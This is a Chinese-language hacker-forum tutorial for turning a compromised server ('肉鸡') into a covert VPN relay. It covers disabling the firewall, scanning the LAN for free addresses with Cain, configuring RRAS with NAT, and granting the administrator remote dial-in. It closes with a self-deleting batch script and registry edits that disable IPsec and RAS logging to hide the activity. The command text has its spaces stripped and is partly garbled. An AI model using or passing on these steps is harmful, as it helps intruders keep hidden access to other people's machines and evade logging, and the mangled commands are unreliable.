lanmanworkstation

作者：Black

信息来源：Black'sblog（/0x4i）

请大家发帖时附上原版权！

首先，准备好用到的刀具，为你的小鸡开刀吧！

物品：公网服务器一台,Cain4.9,鼠标and键盘,主机,显示屏,

好了不废话了，开始吧！

登陆服务器（肉鸡）,点击开始>运行>输入

寻找如下服务名称!

Workstation

Telephony

RemoteAccessConnectionManager

RemoteAccessAutoConnectionManager

remoteRegistry

Server

RoutingandRemoteAccess

要停止或允许1723端口

设置启动类型为自动，并启动！

关闭以下服务并禁用：

WindowsFirewall/InternetConnectionSharing(ICS)

服务设置好了接下来就开始寻找空IP段。

安装Cain4.9并运行。点击黄色按钮。选择嗅探器。

在IP地址下面右键扫描MAC地址。默认点确定。开始扫描IP。扫描到如下IP：

在这里可以看到选中的地方，116-120有段空的IP没被用，大家可以PING一下。

记录下IP段.228.119

因为VPN用一个空IP做服务器另一个用来给客户端，我们挑选有2个空IP以上的段。

现在开始配置VPN了。

点击开始>运行>输入>

右键选中地方，点击>配置并启用路由和远程访问(C)

点击>下一步.>自定义配置>选着VPN访问>下一步>完成。

右键选中地方，属性。

选IP，静态地址池>添加>填上我们刚才记录下的空IP段>确定！

下一步。选中常规。点击新增路由协议。添加NAT/基本防火墙.。确定。

选中NAT/基本防火墙右键>新增接口.

选择公网的网卡。确定。不知道的可以用CMD>IPCONFIG，查看一下。

确定后你会看到如下图。并与下图选择配置。

确定。大功告成。

接下来就是配置一个自己的VPN账户了。

计算机管理→本地用户和组--用户选一个要拨入的用户点右键属性拨入选项卡选允

许拨入确定

VPN就基本设置就完成了

网上邻居右键属性新建连接向导下一步选‘连接到我的工作场所的网络’

下一步选虚拟网络专用连接随便输入一个公司名下一步输入服务器IP或（域名）完成

输入刚刚设置的拨入用户连接进去之后

在CMD下输入IPCONFIG-ALL可以发现多了一个IP地址了

去先看下没连接VPN之前的IP

用VPN连接之后在看看IP

一个公网VPN就建立好了。

不想传太多的图了。浪费国家资源嘛。

如果在不懂的我也很无语了。PM我吧！

最后还是留下一个内网VPN自动建立的。会批处理的童鞋可以改改。

@echooff

netstopsharedaccess

scconfigsharedaccessstart=disabled

scconfigremoteaccessstart=auto

netstartremoteaccess

scconfiglanmanworkstationstart=auto

netstartlanmanworkstation

netshrassetuseradministratorpermit

netshrasipaddrange10.0.0.110.0.0.100

netshrasipsetaddrassignpool

netshroutingipnatinstall

netshroutingipnataddinterface本地连接full

netshroutingipnataddinterfaceinternalprivate

netshroutingipigmpinstall

netshroutingipigmpaddinterfaceinternaligmpprototype=IGMPRTRV2ifenabled=enable

robustvar=2startupquerycount=2startupqueryinterval=31genqueryinterval=125

genqueryresptime=10lastmemquerycount=2lastmemqueryinterval=1000accnonrtralertpkts=YES

netshroutingipigmpaddinterfacename="本地连接"igmpprototype=IGMPPROXY

ifenabled=enable

del%0%

WindowsRegistryEditorVersion5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRasManParameters]

ProhibitIPsec"=dword:00000001

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccessParameters]

LoggingFlags"=dword:00000000

[-HKEY_CLASSES_ROOTInterface{0000010c-0000-0000-C0046}]